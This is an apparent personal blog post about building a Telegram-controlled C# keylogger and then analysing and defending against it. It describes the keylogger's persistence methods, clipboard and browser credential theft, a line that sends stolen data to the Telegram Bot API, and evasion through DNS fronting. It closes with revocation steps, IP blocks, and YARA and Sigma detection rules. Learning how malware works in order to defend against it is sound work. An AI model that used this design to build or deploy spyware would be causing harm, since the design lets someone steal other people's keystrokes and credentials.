Building my first keylogger

Once upon a time, a friend of mine told me “Ca sa fii un portar bun, trebuie sa stii cum gandeste un atacant” N-am aparat o minge niciodata.

This project was started to learn malware development techniques and to better understand how antivirus solutions like Microsoft Defender detect and flag malicious files.

I began working on it in the summer of 2025. Prior to this, I worked with various C2 frameworks such as Metasploit, PowerShell Empire, Havoc, and Cobalt Strike, playing around with payload obfuscation and evasion techniques, until I saw a Youtube video showcasing a threat actor using a telegram channel as a C2.

This went into a research on what can be used as a C2, as I found out some people where using the in game console of Counter-Strike.

Overall, this project served as a solid introduction to malware development concepts.

---

Malware Design & Capabilities

The malware, is a feature-rich keylogger written in C#:

• File download (up to 50MB)
• Clipboard sniffing
• Active window tracking
• Persistence mechanisms > Registry, Scheduled Task, and Startup Folder
• Command execution with admin privileges > UAC prompt, old and simple method
• Multi-session handling

Dropping this .exe on a Windows machine via browser download/certutil/wget/iex will get caught by MotW by default.

For C2 communication, it uses the Telegram Bot API, sending data via: HttpClient.PostAsync("https://api.telegram.org/botXXX/sendMessage", content);

This communication is encrypted over HTTPS and can be hidden using DNS fronting through a Cloudflare domain.

Telegram commands:

• /visual Capture a screenshot

• /locate Change directory and list it’s contents

• /status Test if the connection is still available and admin capabilities ( writing to HKLM registery)

• /retrieve Download files up to 50mb

Virus Total Scan: I tested several droppers in C#, Python and Golang to download and execute the keylogger which proved inefficient, as the download-and-execute behavior itself is a major red flag for behavioral analysis and MotW.

I became curious about browser data exfiltration, specifically, cookies and passwords.

I found a GitHub project that accomplished this. Using the /exec command, we can download and run an application that extracts all the browser data into a JSON file and packages it into a ZIP archive, all done with no AV flags since it doesn’t export the data to the internet but saves it locally. We then download this archive using the /retrievecommand.

• /exec

---

Behavioral Analysis & Key Artifacts

The investigation began with Process Explorer, showing the malware spawning from explorer.exe and loading libraries like user32.dll and kernel32.dll

This was confirmed by finding the key string “WH_KEYBOARD_LL” and the API call SetWindowsHookEx, which is the standard Windows method for implementing a keylogger.

Uncovering the C2 Channel: A simple way to find a Telegram bot token is to run strings.exe on a memory dump with the regex: \d{9,10}:[a-zA-Z0-9_-]{35}.

The result was what we were looking for:

Tracing Persistence and Data: Using Process Monitor with filters for registry access and file activity in the Temp directory, we discovered a file created by the malware.

This file contained the Telegram Bot owner’s Admin ID and a log of all commands executed.

Further execution traces showed the malware attempting to load a non-existent DLL (relsave.dll) as part of its evasion logic and accessing device registry keys related to persistence.

The Bigger Compromise: With both the Admin ID and Bot Token exposed, the attacker’s control channel becomes vulnerable. A simple curl request to the Telegram API can reveal the username of the account controlling the bot.

---

Network Traffic & Evasion

Network analysis alone would not have revealed the bot token, because of DNS fronting, used to disguise its traffic and keep the token encrypted in memory using a custom CryptDecrypt.dll, preventing it from appearing in plaintext within packet captures.

---

Mitigation & Defensive Strategy

Immediate Mitigation: The fastest way to disrupt this C2 channel is to revoke the bot token itself.

curl -X POST "https://api.telegram.org/botTOKEN/revoke"  # Replace with actual Token

Network-Level Blocking: Block access to api.telegram.org and its primary IP ranges:

• 149.154.167.0/24
• 91.108.4.0/22

Proactive Detection:

A. YARA Rule for Static Detection Use this rule to scan disks and memory for related artifacts.

rule Telegram_Keylogger {
   meta:
      description = "Detects Telegram C2 keyloggers"
   strings:
      $s1 = "WH_KEYBOARD_LL" ascii wide
      $s2 = "/bot" wide
      $s3 = "SetWindowsHookEx" fullword
   condition:
      any of them
}

B. Sigma Rule for SIEM Alerting This rule will alert on network traffic to the Telegram C2.

title: Telegram Keylogger C2 Activity
logsource:
  category: proxy
detection:
  selection:
    dst_port: 443
    dst_ip:
      - "149.154.167.220"  # Telegram API IP
    method: "POST"
    url:
      - "/bot*/sendMessage"
      - "/bot*/sendDocument"
  condition: selection
level: high